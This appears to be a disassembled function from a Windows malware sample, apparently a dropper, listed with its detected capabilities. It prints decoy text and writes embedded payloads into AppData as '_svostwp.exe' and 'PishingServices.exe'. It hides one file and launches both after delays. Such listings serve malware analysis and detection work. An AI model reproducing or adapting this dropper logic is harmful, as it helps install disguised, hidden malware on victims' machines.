Function at 0x404f10
Capabilities:
Create process on windows
Create process suspended
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
mov eax, dword [0x5ae840]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x401d30
push str.Hello_World_
push 0x5af7f0
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.You_will_improve_your_reading_comprehension_and_develop_your_vocabulary_on_a_diverse_range_of_international_events__celebrations_and_topics._Each_article_has_interactive_exercises_to_help_you_understand_and_use_the_language
push 0x5af7f0
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.A_pointer_to_the_base_address_in_the_specified_process_from_which_to_read._Before_any_data_transfer_occurs__the_system_verifies_that_all_data_in_the_base_address_and_memory_of_the_specified_size_is_accessible_for_read_access__and_if_it_is_not_accessible_the_function_fails.
push 0x5af7f0
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.A_pointer_to_a_variable_that_receives_the_number_of_bytes_transferred_into_the_specified_buffer._If_lpNumberOfBytesRead_is_NULL__the_parameter_is_ignored.
push 0x5af7f0
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x405136
push str._svostwp.exe
lea ecx, [ebp - 0x20c]
push ecx
lea ecx, [ebp - 0x2ac]
call fcn.004021a0
push eax
lea edx, [ebp - 0x23c]
push edx
call fcn.00401460
add esp, 0xc
lea ecx, [ebp - 0x2ac]
call fcn.00402a50
nop
push str.PishingServices.exe
lea ecx, [ebp - 0x224]
call fcn.004021a0
push 0x37800
push section..data
lea eax, [ebp - 0x23c]
push eax
call fcn.00403220
add esp, 0xc
push 0x14f000
push 0x45f800
lea ecx, [ebp - 0x224]
push ecx
call fcn.00403220
add esp, 0xc
push 2
lea ecx, [ebp - 0x224]
call fcn.00404290
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x280], 0x44
push 0x40
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00408660
add esp, 0xc
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x280]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x23c]
call fcn.00404290
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4050b7
mov edx, dword [ebp - 0x290]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
lea ecx, [ebp - 0x290]
push ecx
lea edx, [ebp - 0x280]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x224]
call fcn.00404290
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405110
mov eax, dword [ebp - 0x290]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x28c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [ebp - 0x294], 0
lea ecx, [ebp - 0x224]
call fcn.00402a50
lea ecx, [ebp - 0x23c]
call fcn.00402a50
mov eax, dword [ebp - 0x294]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004073fc
mov esp, ebp
pop ebp
ret 0x10